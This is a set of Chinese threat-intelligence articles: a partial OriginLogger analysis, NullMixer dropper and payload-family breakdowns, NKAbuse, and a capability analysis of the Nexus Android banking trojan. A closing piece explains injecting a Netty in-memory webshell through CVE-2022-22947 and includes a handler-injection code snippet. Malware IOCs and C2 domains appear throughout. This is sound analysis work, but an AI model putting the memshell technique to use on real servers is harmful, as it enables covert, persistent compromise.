對於每一個這樣的查找，函數塊的結構將保持不變。在上圖中的索引6-8 處，你將看到三個ldc.i4.X 指令，其中X 指示一個整數值，該整數值將在調用之前描述的拼接函數之前被推入堆棧。這種整體結構創建了一個框架，然後可以使用該框架來匹配二進製文件中的所有相應函數以進行解析。

利用這一點，我編寫了一個腳本來識別編碼的字節數組，確定異或值，然後以惡意軟件使用的相同方式拼接解碼的塊。此時，你可以滾動瀏覽解碼的字符串並查找感興趣的內容。一旦識別出某些內容，知道了偏移量和隨後的函數名，就可以利用惡意軟件了。

28.png

OriginLogger 解碼字符串

此時，我開始重命名混淆的方法以反映它們的實際值，這使得分析更容易。

29.png

OriginLogger FTP 上傳函數

需要注意的是，通過將字符串類型指定為委託並識別感興趣的令牌，可以使用de4dot 及其動態字符串解密功能來實現相同的字符串反混淆，這對於單個文件分析非常有效。

下圖是2020年3月上傳的Chrome密碼恢復代碼：

30.png

Chrome 密碼恢復

將上圖與帶有重命名方法的OriginLogger示例代碼進行比較，如下圖所示。

31.png

OriginLogger Chrome 密碼竊取函數

通過工件識別OriginLogger使用這個工具，我提取了1917個不同的配置，這可以深入了解所使用的洩露方法，並允許基於底層基礎設施對樣本進行聚類。例如，為將鍵盤記錄器和屏幕截圖數據上傳到的示例配置的一個URL 是hxxps://agusanplantation[.]com/new/new/inc/7a5c36cee88e6b.php。該URL 不再處於活動狀態，因此我開始搜索有關它的歷史信息，以了解這些HTTP POST 請求的接收端是什麼。通過將域插入URLScan.io，它會在同一目錄中顯示面板的登錄頁面，但更重要的是，在四個月前掃描此主機時，在此主機上觀察到了OriginLogger Web 面板（SHA256：c2a4cf56a675b913d8ee0cb2db3864d66990e940566f57cb97a9161bd262f271）。

32.png

域的URLScan.io 掃描歷史記錄

同樣，其中一種洩露方法是通過Telegram 木馬。為了使用它們，OriginLogger 需要包含一個Telegram 木馬令牌，以便惡意軟件可以與之交互。這為分析正在使用的基礎設施提供了另一個獨特的機會。在這種情況下

HireHackking

sl-abstract-malicious-binary-code-1200-1200x600.jpg

NullMixer 是導致各種惡意軟件家族感染鏈的投放程序，它通過惡意網站傳播，這些網站主要可以通過搜索引擎找到。這些網站通常與非法下載軟件的破解、註冊機和激活程序有關，雖然它們可能偽裝成合法軟件，但實際上包含一個惡意軟件投放程序。

看起來這些網站正在使用SEO 來提高其搜索排名，從而在互聯網上搜索“crack”和“keygen”時很容易找到它們。當用戶嘗試從其中一個網站下載軟件時，他們會被多次重定向，並最終進入一個包含下載說明和偽裝成所需軟件的受密碼保護的壓縮文件惡意軟件的頁面。當用戶提取並執行NullMixer 時，它會將許多惡意軟件文件投放到受感染的計算機上。這些惡意軟件家族可能包括後門、銀行木馬、憑證竊取程序等。例如，NullMixer 投放了以下惡意軟件：SmokeLoader/Smoke、LgoogLoader、Disbuk、RedLine、Fabookie、ColdStealer。

初始感染NullMixer 的感染媒介基於一個“用戶執行”惡意鏈接，該鏈接要求最終用戶點擊並下載受密碼保護的ZIP/RAR 壓縮文件，其中包含手動提取和執行的惡意文件。

NullMixer的整個感染鏈如下：

用戶訪問網站以下載破解軟件、註冊機或激活程序。該活動似乎針對任何希望下載破解軟件的人，並使用SEO 技術使這些惡意網站在搜索引擎結果中更加突出。

1.png

谷歌搜索引擎搜索結果中“破解軟件”的頂部包含提供NullMixer的惡意網站

用戶點擊所需軟件的下載鏈接；

該鏈接將用戶重定向到另一個惡意網站；

惡意網站將用戶重定向到第三方IP 地址網頁；

該網頁指示用戶從文件共享網站下載受密碼保護的ZIP 文件。

2.png

惡意軟件執行指令

用戶提取帶有密碼的壓縮文件；

用戶運行安裝程序並執行惡意軟件。

3.jpg

NullMixer 感染鏈執行示例

NullMixer 介紹NullMixer是一個投放程序，它包含的不僅僅是特定的惡意軟件家族，也會投放各種惡意二進製文件來感染計算機，比如後門程序、銀行程序、下載程序、間諜軟件和許多其他程序。

NullMixer 執行鏈當用戶從下載的受密碼保護的壓縮文件中提取“win-setup-i864.exe”文件並運行它時，感染就開始了。 “win-setup-i864.exe”文件是一個NSIS（Nullsoft Scriptable Install System）安裝程序，是很多軟件開發者使用的非常流行的安裝工具。在本文的示例中，它投放並啟動了另一個文件“setup_installer.exe”，這實際上是一個包含在Windows 可執行文件中的SFX 壓縮文件“7z Setup SFX”。 “setup_installer.exe”文件投放了數十個惡意文件。但它沒有啟動它們，而是啟動了一個可執行文件setup_install.exe，這是一個NullMixer啟動程序組件。 NullMixer 的啟動程序啟動所有投放的可執行文件。為此，它包含一個硬編碼文件名列表，並使用“cmd.exe”逐個啟動它們。

4.png

硬編碼到NullMixer啟動程序組件的文件列表

5.jpg

NullMixer 執行鏈

它還嘗試使用以下命令行更改Windows Defender 設置。

6.png

在啟動所有已投放的文件後，NullMixer 啟動程序會立即向CC 發送關於安裝成功的信標。此時，所有被投放和啟動的惡意文件都留在了它們自己的設備中。很快就可以識別由NullMixer惡意軟件傳播的各種惡意二進製文件。

7.jpg

NullMixer 和它投放的惡意軟件家族

由於投放的惡意軟件家族數量非常大，本文只對每個家族進行簡要描述。

SmokeLoaderSmokeLoader（又名Smoke）是一種模塊化惡意軟件，自2011 年以來就廣為人知，通過網絡釣魚電子郵件和偷渡式下載(drive-bydownload)分發。多年來，它通過附加模塊不斷擴展其功能。例如，添加禁用Windows Defender 和反分析技術。

與使用硬編碼靜態URL 下載惡意文件的最簡單下載程序相比，SmokeLoader 用CC 通信以接收和執行下載任務。

RedLine StealerRedLine Stealer 自2020 年初就為人所知，並一直持續到2021 年。眾所周知，該惡意軟件在網絡論壇上出售，並通過釣魚郵件傳播。

另一種傳播RedLine Stealer的新方法是誘使Windows 10用戶獲得虛假的Windows 11升級。當用戶下載並執行二進製文件時，他們實際上是在運行惡意軟件。

RedLine的主要目的是從瀏覽器中竊取證書和信息，此外還從受感染的計算機上竊取信用卡詳細信息和加密貨幣錢包。此外，該惡意軟件還收集有關係統的信息，例如：用戶名、硬件詳細信息和已安裝的安全應用程序。

PseudoManuscryptPseudoManuscrypt 自2021 年6 月以來就廣為人知，並用作MaaS（惡意軟件即服務）。 PseudoManuscrypt並不針對特定的公司或行業，但據觀察，工業和政府組織，包括軍工複合體和研究實驗室的企業，是最嚴重的受害者。

該惡意軟件通過Glupteba等其他殭屍網絡傳播。 PseudoManuscrypt的的主要目的是通過從Firefox、谷歌Chrome、Microsoft Edge、Opera和Yandex瀏覽器中竊取cookie，通過使用ClipBanker插件進行鍵盤記錄和竊取加密貨幣來監視受害者。惡意軟件的一個顯著特徵是使用KCP協議下載額外的插件。

ColdStealerColdStealer 是一個相對較新的惡意程序，於2022 年被發現。與許多其他竊取程序一樣，它的主要目的是從Web 瀏覽器竊取憑據和信息，此外還竊取加密貨幣錢包、FTP 憑據、各種文件和有關係統的信息，例如操作系統版本、系統語言、處理程序類型和剪貼板數據。將被盜信息傳遞給攻擊者的唯一已知方法是將ZIP 壓縮文件發送到嵌入式控制中心。

8.png

ColdStealer Main() 函數

FormatLoaderFormatLoader 是一個下載程序，因為使用硬編碼的url作為格式字符串而得名，它需要填寫一個數字來獲取下載附加二進製文件的鏈接。可用的數字範圍也是硬編碼的。

9.png

FormatLoader 的主要目的是通過將二進製文件下載到受感染的計算機上來用額外的惡意文件感染計算機。為此，惡意軟件將硬編碼範圍中的數字逐個添加到硬編碼格式字符串中，並訪問下載鏈接。

此外，FormatLoader 使用第三方網站服務來跟踪受感染的計算機。它將“GET”請求發送到IP 記錄程序服務的特定URL，該服務收集IP 地址和基於IP 的地理位置等信息。

CsdiMonetize眾所周知，CsdiMonetize 是一個廣告平台，用於在感染用戶計算機後以按安裝付費的方式安裝許多不同的PUA（潛在不需要的應用程序）。後來，CsdiMoneitze 不僅用PUA 感染他們的受害者，還開始用真正的木馬感染他們的受害者，比如Glupteba 惡意軟件。

如今，CsdiMonetize 使用其他惡意軟件家族類型感染其受害者，例如：Fabookie、Disbuk、PseudoManuscrypt 等。

10.jpg

Csdi 執行鏈

感染從NSIS 安裝程序“61f665303c295_Sun1059d492746c.exe”開始，它會下載Csdi 安裝程序“MSEkni.exe”。 Csdi 安裝程序從CC 請求當前配置以及要安裝的其他Csdi 組件列表。配置以加密和base64 編碼的形式存儲在多個註冊表項中。下一步是下載其他組件，最值得注意的是發布者和更新程序組件。 Csdi 發布者組件負責通過使用URL 作為命令行參數啟動瀏覽器來顯示廣告。更新程序組件負責按安裝付費服務。它接收來自CC 的URL 列表以及有關如何投放和執行下載文件的說明。

Disbuk眾所周知，Disbuk（又名Socelar）將自己偽裝成合法的應用程序，例如PDF 編輯程序軟件。

該惡意軟件主要針對Facebook廣告，並通過訪問瀏覽器的SQLite數據庫從Chrome和Firefox盜取Facebook會話cookie。在檢索這些信息後，惡意軟件試圖提取額外的信息，惡意軟件會嘗試提取訪問令牌、帳戶ID 等附加信息。經過進一步發展，Disbuk 也開始檢索Amazon cookie。

除了竊取數據，Disbuk 還安裝了一個偽裝成谷歌翻譯擴展的惡意瀏覽器擴展。

FabookieFabookie 是另一個針對Facebook 廣告的竊取程序。它的功能類似於Disbuk 惡意軟件，包括從瀏覽器中竊取Facebook 會話cookie，使用Facebook Graph API 查詢來接收有關用戶帳戶、關聯支付方式、餘額、朋友等額外信息。被盜的憑據稍後可用於運行來自受感染帳戶的廣告。

與Disbuk 不同的是，該惡意軟件不包含內置的惡意瀏覽器擴展，但包含兩個嵌入式NirSoft 實用程序“Chrome Cookies View”和“Web Browser Password Viewer”，用於從瀏覽器中提取數據。

DanaBotDanaBot 是一種用Delphi 編寫的銀行木馬，它通過電子郵件網絡釣魚進行傳播，自2018 年被發現以來一直在迭代。

DanaBot 是一種模塊化惡意軟件，包括各種附加模塊，這些模塊最流行的功能是從受感染的計算機中竊取信息，並將虛假表格注入流行的電子商務和社交媒體網站以收集支付數據。它還可以通過遠程桌面提供對受感染系統的完全訪問，或通過使用VNC 插件訪問鼠標和鍵盤。

RacealerRacealer（又名RaccoonStealer）是一種竊取型惡意軟件，主要從受感染的計算機中竊取用戶憑據並洩露數據。

自2019 年被發現以來，Racoon 也經過了多次迭代。例如，它現在使用Telegram 來檢索CC IP 地址和惡意軟件配置。現在，它還可以從惡意軟件的CC 下載其他模塊，這些模塊也用於提取憑據。

Generic.ClipBankerGeneric.ClipBanker 是一種剪貼板劫持者惡意軟件，它監控受感染計算機的剪貼板，並專門搜索加密貨幣地址以替換它們。當用戶複製加密貨幣錢包的地址時，惡意軟件會將錢包地址替換為他們自己的加密貨幣錢包地址，因此最終用戶會將加密貨幣（例如比特幣）發送給他們，而不是發送到預期的錢包地址。

11.png

使用來自Generic.ClipBanker 二進製文件的加密貨幣地址進行篩選

SgnitLoaderSgnitLoader 是一個用C# 編寫的小型木馬下載程序，二進制大小約為15 KB。但是，原始文件是用Obsidium 打包的，這使得二進製文件的大小增長到400 多字節。

SgnitLoader 在其二進製文件中包含一些硬編碼的域，它會附加路徑並添加一個從1 到7 的數字。與FormatLoader 惡意軟件不同，它不使用格式字符串，而只是在末尾添加一個數字字符串以獲取完整的URL。

12.png

下載和執行過程完成後，SgnitLoader 通過“GET”請求ping 回CC。原始的pingback URL隱藏在' iplogger.org ' URL縮短服務中。

ShortLoader另一個用c#編寫的小型木馬下載程序。它的二進製文件是sgitloader大小的一半。它的主要功能代碼相當短，它使用“IP Logger”URL縮短服務來隱藏它下載有效負載的原始URL。這就是為什麼它被稱為ShortLoader。

13.png

ShortLoader Main() 函數

Downloader.INNO原始文件是利用“Inno Download Plugin”下載功能的“Inno Setup”安裝程序。

該安裝腳本被編程為從URL ' http://onlinehueplet[.]com/77_1.exe '下載一個文件，將其作為' dllhostwin.exe '放置到' %TEMP% '目錄中，並使用字符串' 77 '作為參數執行它。

14.png

Inno Setup 安裝腳本的一部分

下載的文件屬於Satacom Trojan-Downloader 家族。然而，在研究過程中，研究人員發現該文件在服務程序上被替換為合法的PuTTY 軟件（一種流行的SSH 客戶端）。

LgoogLoader該文件是另一個使用Microsoft Cabinet壓縮文件格式的軟件安裝程序。執行後，它會投放三個文件：一個批處理文件、一個帶有剝離的可執行文件標頭的AutoIt 解釋程序和一個AutoIt 腳本。然後它使用“cmd.exe”執行批處理文件。批處理文件的任務是恢復AutoIt 解釋程序可執行文件，並使用AutoIt 腳本的路徑作為命令行參數啟動它。

AutoIt 腳本執行一些AntiVM 和AntiDebug 檢查。如果所有檢查都成功，那麼它會再次啟動AutoIt 解釋程序，解密並解壓嵌入的可執行文件並將其註入新創建的進程。注入的可執行文件是LgoogLoader。

LgoogLoader是一個木馬下載程序，它從硬編碼的靜態URL下載加密的配置文件。然後對配置進行解密，從中提取額外的url，下載並執行最終的有效負載。它被稱為LgoogLoader，因為它使用了來自“谷歌隱私政策”的字符串。

15.png

LgoogLoader 二進製文件中的Google 隱私政策字符串

Downloader.Bitser原始文件是一個試圖安裝PUA: Lightening Media Player的NSIS安裝程序。該文件由csdimonealize的更新程序組件(MD5: 98f0556a846f223352da516af66fa1a0)下載。然而，安裝腳本不僅被配置為設置lighightmedia Player，還被配置為運行內置的Windows實用程序“bitsadmin”來下載額外的文件，這就是我們將其稱為Bitser的原因。在本文的示例中，該實用程序在NSIS 安裝程序的安裝腳本中使用，並用於下載受7z 密碼保護的壓縮文件。 7z 壓縮文件的密碼以及解包和執行說明也被硬編碼到安裝腳本中。

16.jpg

Downloader.Bitser 的感染鏈

一個合法的7-Zip 獨立控制台應用程序由安裝程序以名稱“data_load.exe”投放，並使用參數啟動以從下載的壓縮文件中解壓縮文件。

17.png

部分帶有下載和執行指令的NSIS 腳本

C-JokerC-Joker 是一個非常簡單的Exodus 錢包竊取程序。它使用Telegram API 發送有關安裝成功或失敗的通知。為了竊取憑據，它會下載“app.asar”文件的後門版本，並替換了來自Exodus錢包的原始文件。

18.png

C-Joker 二進製文件中的字符串

SatacomSatacom 也稱為LegionLoader。 Satacom 於2019 年被發現，它使用了不同的反分析技巧，這些技巧可能是從al-khazer 中藉鑑來的。嵌入式用戶代理因樣本而異，但在本文的示例中，用戶代理是“deus vult”。

19.png

Satacom 二進製文件中的字符串

最新版本從TXT-record 接收主控中心地址。 Satacom 向‘reosio.com’發送一個DNS TXT 查詢，並接收一個帶有base64 編碼字符串的響應。

20.png

Satacom DNS 請求和響應

使用XOR 密鑰“DARKMATTER”解碼和解密後，它會得到真正的CC URL“banhamm.com”。

HireHackking

研究人員發現一款基於Go的多平台惡意軟件——NKAbuse，這是首個發現的濫用新網絡技術（NKN）進行數據交換的惡意軟件。

NKNNKN(新網絡技術)是一種使用區塊鏈技術管理資源和維護安全以及透明模型的去中心化點對點網絡協議。 NKN的作用之一是優化數據傳輸速率和網絡延遲，具體步驟是通過計算高效的數據包傳遞路徑來實現的。與Tor網絡類似，個人用戶可以通過運行節點加入NKN網絡。目前，NKN網絡有大約60710個節點，大量階段的參與可以增強網絡的魯棒性、去中心化、以及處理大量數據的能力。

image.png

圖NKN的數據流動

NKAbuse惡意軟件NKAbuse是一款基於Go的多平台惡意軟件，這是首個濫用新網絡技術（NKN）進行數據交換的惡意軟件，主要攻擊位於墨西哥、哥倫比亞和越南的Linux主機。其中一個NKAbuse感染的案例利用了Apache Struts漏洞(CVE-2017-5638)來攻擊金融機構。雖然大多數攻擊的目標是Linux計算機，但惡意軟件也可以入侵物聯網設備，並支持MIPS、ARM和386架構。

DDoS攻擊NKAbuse錄用NKN公鏈協議來實現大量的洪氾攻擊，並在Linux系統中植入後門。具體來說，惡意軟件客戶端與殭屍主機通過NKN來發送和接收數據。 C2發送的payload命令包括針對特定目標的HTTP、TCP、UDP、PING、ICMP、SSL洪氾攻擊等。

image.png

圖DDoS攻擊命令

所有這些payload之前也被用於殭屍網絡，因此當與NKN相結合後，惡意軟件就可以等待管理主機發起混合攻擊。

RAT除了DDoS能力外，NKAbuse還可以在被入侵的系統中作為遠程訪問木馬（RAT），允許其運營者進行命令執行、數據竊取和截屏等操作。

image.png

圖NKAbuse的截屏功能

NKAbuse濫用NKN發起的DDoS攻擊很難溯源到特定的基礎設施，並且不會被大多數安全工具標記因為來源於一個新的協議。而使用區塊鏈技術可以確保可用性，複雜的攻擊源頭使得這一威脅變得很難應對。

更多參見：https://securelist.com/unveiling-nkabuse/111512/

HireHackking

概述2023 年3 月21 日晚上，鏈安與中睿天下聯合研發的監控系統檢測到一種新型安卓木馬。在經過睿士沙箱系統捕獲樣本之後，發現該安卓木馬極有可能是原安卓網銀盜號木馬SOVA 的變種。與此同時，意大利安全公司Cleafy 發布了一篇題為《Nexus：一个新的安卓僵尸网络？》 的報告，確認該病毒確實是SOVA 的變種，並將其重新命名為Nexus。

樣本分析樣本名稱：Chrome.apk

樣本SHA256 為: 376d13affcbfc5d5358d39aba16b814f711f2e81632059a4bce5af060e038ea4

樣本文件大小:4792032KB

主要行為列表刪除指定應用以其應用數據

安裝並啟動任意應用

隱藏自身應用圖標

卸載保護

上傳用戶短信數據以及通訊錄

使用SmsManager 發送短信、 刪除短信、取消短信通知

撥打電話

獲取用戶cookie 信息並上傳，注入cookie 等

讀取並上傳數字錢包信息

記錄並上傳鍵盤輸入記錄

查詢敏感信息手機數據(查詢存儲郵件、應用賬號數據、IMSI 等手機信息)

設置靜音

屏幕解鎖

訪問指定Url

試圖禁用管理員用戶

開啟輔助功能

監聽手機重啟事件

使用DownloadManager 下載文件

安裝測試當木馬安裝完成後，手機主界面會出現一個類似Chrome 瀏覽器的圖標（如圖1所示），與真實的Chrome 圖標略有差異。木馬使用的圖標較小，但在沒有相關對比的情況下，基本上很難識別出這種差異。

69d9616750171614f126e8e9498235a4

圖1

當木馬啟動後，界面會提示用戶需要開啟“無障礙功能”。在用戶點擊界面任意位置時，將自動跳轉到系統內的“無障礙功能”設置並自動啟用該功能（如下圖所示）。

容器 1(1).png

在啟動“無障礙功能”之後，程序會自動彈出並請求獲取“設備管理員權限”（如圖2所示）。

1d918d48ba6f9bf9aa3db5ed431d34f4

圖2

在惡意應用獲得設備管理員權限後，它會在後台不斷收集用戶信息，用戶很難察覺其存在。一旦設備管理員權限被授予，用戶在嘗試打開設備管理員權限設置界面時會發現界面迅速關閉，無法撤銷權限。類似地，通過adb 執行操作時也會遇到相同問題，界面會立刻關閉。這是因為惡意應用程序已經監控了設備管理員設置界面的開啟動作，從而阻止用戶撤銷其權限。因此，用戶需要啟用root 權限才能成功卸載此惡意應用。

adb shell am start -S 'com.android.settings/.Settings\$DeviceAdminSettingsActivity'

樣本深度分析基礎信息5(1).png

圖3

9eeec3cfd4ba76d6a0a44345c44b58c3

圖4

在使用Incinerator 進行手動分析之前，通過“基礎分析”模塊，我們發現該樣本程序具有加密殼（如圖3所示）。這意味著惡意應用程序的開發者使用了一種加密方法來保護其代碼，以防止分析和逆向工程。同時，我們注意到簽名信息中使用了“CN=Android Debug”（如圖4所示），這與正常的Chrome 證書不一致。這可能意味著此惡意應用程序的開發者試圖偽裝成正常的Chrome 應用，以便更容易地欺騙用戶並獲得其信任。

得益於incinerator 具備Apk 權限分析功能，我們可以在Apk 的詳細信息中獲取相應的權限列表（如圖5，6所示）。

8c614ba30c47a1965016569dda4e6884

圖5

2810336370326fca50ecb1adf6578306

圖6

在應用權限列表中，樣本獲取的權限中有13 項被評定為“危險”的權限。其中有幾個權限尤為危險：

發送短信（SEND_SMS）

讀取短信（READ_SMS）

接收短信（RECEIVE_SMS）

讀取聯繫人（READ_CONTACTS）

寫入聯繫人（WRITE_CONTACTS）

讀取電話號碼（READ_PHONE_NUMBER）

普通應用通常不會申請一些涉及敏感操作的權限，如改寫通訊錄、讀取和發送短信等。這些權限通常僅限於專門的通訊軟件。然而，當惡意應用獲取輔助功能權限後，它可以利用這一功能來自動開啟其他權限，包括一些對用戶隱私和安全具有潛在威脅的權限。

輔助功能是Android 系統中一項強大的功能，旨在幫助有特殊需求的用戶更好地使用設備。然而，這一功能也可能被惡意應用濫用，從而執行不受用戶控制的操作。一旦惡意應用獲得了輔助功能權限，它可以在用戶不知情的情況下執行各種操作，如啟用其他敏感權限，進而竊取用戶數據和破壞其隱私。因此，用戶需要謹慎授權輔助功能權限，避免將其授予不可信的應用。

代碼中用輔助功能開啟的權限列表如下：

android.permission.READ_SMS：允許應用程序讀取短信消息

android.permission.SEND_SMS：允許應用程序發送短信消息

android.permission.RECEIVE_SMS：允許應用程序接收短信消息

android.permission.READ_CONTACTS：允許應用程序讀取聯繫人列表

android.permission.WRITE_CONTACTS：允許應用程序編輯聯繫人列表

android.permission.READ_PHONE_STATE：允許應用程序讀取設備電話狀態和身份信息

android.permission.WRITE_EXTERNAL_STORAGE：允許應用程序寫入外部存儲，例如SD卡

android.permission.MODIFY_AUDIO_SETTINGS：允許應用程序修改聲音設置

android.permission.READ_EXTERNAL_STORAGE：允許應用程序讀取外部存儲，例如SD卡

android.permission.INSTALL_PACKAGES：允許應用程序安裝其他應用程序

android.permission.CALL_PHONE：允許應用程序撥打電話

android.permission.GET_ACCOUNTS：允許應用程序訪問設備帳戶列表

android.permission.READ_PHONE_NUMBERS：允許應用程序讀取設備電話號碼

android.permission.CLEAR_APP_CACHE：允許應用程序清除所有緩存文件

ec65723b3273174a343489d3475883f6

圖7

a4ff37c7b736fe71b508700ba4390c88

圖8

如上圖所示，該應用首先硬編碼了需要通過輔助功能開啟的權限列表，接著向系統發起對這些權限的申請。在PermissionsTask 環節中，應用會監聽權限申請的動作。一旦監聽到權限申請，該應用便利用輔助功能在權限申請界面上自動點擊“同意”按鈕。

靜態代碼分析在使用Incinerator 工具對樣本進行自動脫殼並分析惡意行為代碼後，我們發現以下主要功能：

1. 刪除指定應用以其應用數據惡意應用具有刪除其他應用及其數據的能力，可能影響用戶正常使用手機及其應用。

bac232005174772d5cb898d949dc8617

圖9

clearApp方法確實是通過執行pm clear package命令（如圖9所示）來刪除與特定應用程序包相關的緩存數據，包括圖片緩存、臨時文件、數據庫緩存等。這樣可以幫助清理設備上的垃圾文件，釋放存儲空間。

而deleteThisApp方法則通過觸發android.intent.action.DELETEintent 來實現應用的卸載（如圖9所示）。當系統接收到這個intent 時，會彈出一個卸載確認界面。通常情況下，用戶需要在此界面上手動點擊“同意”按鈕才能完成卸載。然而，由於這個惡意應用具有輔助功能權限，它可以在卸載確認界面出現時自動點擊“同意”按鈕，從而在用戶不知情的情況下完成卸載操作。這種做法進一步提高了惡意應用的隱蔽性和破壞性。

2. 安裝並啟動任意應用惡意應用可以安裝並啟動其他應用，可能進一步傳播惡意軟件或將用戶引導至惡意網站。

47e148941a8983668bf233bc1721120a

圖10

安裝和卸載應用確實是通過輔助功能來實現的。這種方式可以方便地為用戶自動化應用的安裝和卸載過程。唯一的區別在於，為了實現這一功能，惡意應用需要適配不同廠商的安裝應用包名和安裝Activity 的名稱。

這樣一來，惡意應用可以在各種不同的設備上成功執行安裝和卸載操作，從而更加隱蔽地實現其惡意行為。這種策略使得惡意應用在各類設備上具有更廣泛的攻擊能力。

3. 隱藏自身應用圖標為了難以被發現和卸載，惡意應用會隱藏自己的應用圖標（如圖11所示）。

2a22503bc8505cabd5cbbc4084d626b7

圖11

在這個惡意應用中，開發者使用了setComponentEnabledSetting方法來禁用Launcher Activity。這樣一來，用戶就無法通過設備主屏幕上的應用圖標（Launcher Icon）來操作或訪問該惡意應用了。

setComponentEnabledSetting方法可以用來啟用或禁用應用程序組件，如Activity、Service、BroadcastReceiver 等。在這種情況下，惡意應用通過禁用Launcher Activity，達到了隱藏自身的目的，讓用戶更難以察覺其存在。這種做法進一步提高了惡意應用的隱蔽性，使其更難以被發現和移除。

4. 上傳手機聯繫人等敏感信息惡意應用可以竊取並上傳用戶的聯繫人、短信、Cookie 等信息，可能導致用戶隱私洩露和財產損失。

fec40b6d80161cd69eedbb748387e9ce

圖12

0e9d5f601edfe7f0a01b49920a0a22aa

圖13

如圖12、13所示，惡意應用首先通過content://sms訪問短信內容，然後經過一系列業務邏輯處理，將其整合到網絡請求的數據中。除了短信數據，這個請求還包含瞭如SIM 卡信息、受害者設備的IP 地址、國家、城市和設備型號等信息。最後，這些數據會被發送到指定的服務器。

通過這種方式，惡意應用能夠竊取用戶的短信和設備信息，然後將這些數據發送給攻擊者。攻擊者可以利用這些信息進行各種違法活動，例如詐騙、竊取用戶隱私、甚至是身份盜竊。

5. 使用SmsManager 發送短信、 刪除短信、取消短信通知、讀取短信5.1 上傳短信

90ce1eff5787453308a3cbef169a556b

圖14

e2261256839bc65eb625995adddb6d32

圖15

根據上述描述，該惡意應用通過監聽收到短信的系統廣播，從廣播中提取收到的短信內容，然後將每一條短信發送給遠程服務器。在完成這個過程之後，應用還會終止收到短信的廣播，以免被用戶或其他應用程序發現。如圖15所示，super.execute指的是將收集到的短信數據發送給遠程服務器。

這種行為表明，該惡意應用在竊取用戶短信方面採取了較為積極的手段。用戶需要加強對此類應用的防範意識，以避免對其隱私和安全造成不良影響。

5.2 發送短信

7321db5b9db67fd34ae3b76be3f12587

圖16

調用系統SmsManager 發送短信（如圖16所示）。

6. 獲取用戶cookie 信息並上傳，注入cookie 等9545c3cbd4eb39c1f88d7aeb452a2483

圖17

如圖17所示，讀取所有cookie，上傳到遠程服務器，並且通過CookieManager 把本地cookie 刪除。

7. 讀取和上傳數字錢包信息7.1 讀取餘額

11fad808556b0d3a373165019b18dbe8

圖18

通過輔助功能，讀取代表餘額的View 顯示的字符內容，就是用戶錢包的餘額（如圖18所示）。

7.2 讀取seed phrase

12bde5def4ceef0a67a7d724b3247f7a

圖19

a7a03c38f2d4a91ac96261642398b3f5

圖20

利用輔助功能，從表示seed phrase 的View 中讀取內容（如圖19、20所示）。

7.3 上傳到服務器

878e51e53f4cb40cd75d036953c42d5a

圖21

把加密錢包信息發生到遠程服務器。

8. 記錄並上傳鍵盤輸入記錄60afb0bb00afcbc0ff686beee6891e9a

圖22

29f168a91f67d4c87e89966401883946

圖23

上面兩張圖，圖22所示監聽鍵盤輸入，通過輔助功能抽取數據，圖23所示把這些數據上傳到遠程服務器。

9. 查詢敏感信息手機數據(查詢存儲郵件和應用賬號數據，IMSI 等手機信息) 21c5287567e79b3d66e2c6ef52608455

圖24

通過AccountManager 獲取賬號信息，上傳到遠程服務器。

10. 把手機設置靜音5bc00f3d0ddb3537987ec9af5cef7b4b

圖25

通過audio 系統服務器，把手機設置為靜音（如圖25所示）。

11. 監聽手機重啟事件7ddace1b8b508c6511ebb0d6bb289603

圖26

1858e349a9a427c018c876e2913a57ff

圖27

監聽手機重啟事件，手機重啟後惡意就開始工作。

12. 使用DownloadManager 下載APK 並且安裝0e12dc8b1366433b7277118e3fc33c87

圖28

下載apk 並且使用安裝。

13. 拍照、錄視頻fc2abe1db55f80ca58c3ad9f8e7f33b3

圖29

91b434f95993bc1af3b41d2e3a94caa5

圖30

14. 讀取其他文檔d05f18285e304b204408900173e50336

圖31

1b8a195114cd35c6a47bdd3e2cc74eca

圖32

15. 網絡請求代碼中所有的Log 都會上傳，上傳的服務器地址來自一段“加密”字符串（如圖33、34所示）。

HireHackking

0x01 前言基於netty動態創建pipeline的特性，其內存馬的構造思路與tomcat有一定的區別，目前網上有關netty內存馬的文章都圍繞CVE-2022-22947和XXL-JOB兩種場景展開，並未對其做更為詳細的分析。本文就以上述兩種場景為始，嘗試從源碼角度探究netty內存馬的部分細節，以供大家參考。

0x02 Netty介紹I/O事件：分為出站和入站兩種事件，不同的事件會觸發不同種類的handler。

Handler (ChannelHandler)：handler用於處理I/O事件，繼承如下幾種接口，並重寫channelRead方法完成請求的處理，功能類似於filter。

ChannelInboundHandlerAdapter入站I/O事件觸發該

handlerChannelOutboundHandlerAdapter出站I/O事件觸發該

handlerChannelDuplexHandler入站和出站事件均會觸發該handlerChannel (SocketChannel)：可以理解為對Socket 的封裝, 提供了Socket 狀態、讀寫等操作，每當Netty 建立了一個連接後，都會創建一個對應的Channel 實例，同時還會初始化和Channel 所對應的pipeline。

Pipeline (ChannelPipeline)：由多個handler所構成的雙向鍊錶，並提供如addFirst、addLast等方法添加handler。需要注意的是，每次有新請求入站時，都會創建一個與之對應的channel，同時channel會在io.netty.channel.AbstractChannel#AbstractChannel(io.netty.channel.Channel)裡創建一個與之對應的pipeline。

QQ截图20240613133905.png

構造netty內存馬的一個思路，就是在pipeline中插入我們自定義的handler，同時，由於pipeline動態創建的特性，如何保證handler的持久化才是關鍵，本文以此為出發點，嘗試探究netty內存馬在不同場景下的利用原理。

0x03CVE-2022-22947先來簡單回顧一下CVE-2022-22947是如何注入內存馬的，文中的核心是修改reactor.netty.transport.TransportConfig#doOnChannelInit，在reactor.netty中，channel的初始化位於reactor.netty.transport.TransportConfig.TransportChannelInitializer#initChannel。

關鍵點如下：

QQ截图20240613133921.png

config.defaultOnChannelInit()返回一個默認的ChannelPipelineConfigurer，隨後調用then方法，進入到reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer，從函數名也能夠看出，這個方法用於合併對象，將當前默認的ChannelPipelineConfigurer與config.doOnChannelInit合二為一，返回一個CompositeChannelPipelineConfigurer。

隨後調用CompositeChannelPipelineConfigurer#onChannelInit，在此處循環調用configurer#onChannelInit，其中就包括我們反射傳入的doOnChannelInit#onChannelInit。

QQ截图20240613134233.png

c0ny1師傅給出的案例，就在onChannelInit內完成handler的添加，由於反射修改了doOnChannelInit，後續有新的請求入站，都會重複上述流程，進而完成handler的持久化。

publicvoidonChannelInit(ConnectionObserverconnectionObserver,Channelchannel,SocketAddresssocketAddress){ChannelPipelinepipeline=channel.pipeline();pipeline.addBefore('reactor.left.httpTrafficHandler','memshell_handler',newNettyMemshell());}另外，從reactor.netty.transport.TransportConfig#doOnChannelInit的路徑也能看出，該場景依賴reactor.netty，並不適用純io.netty的環境，如xxl-job等場景。

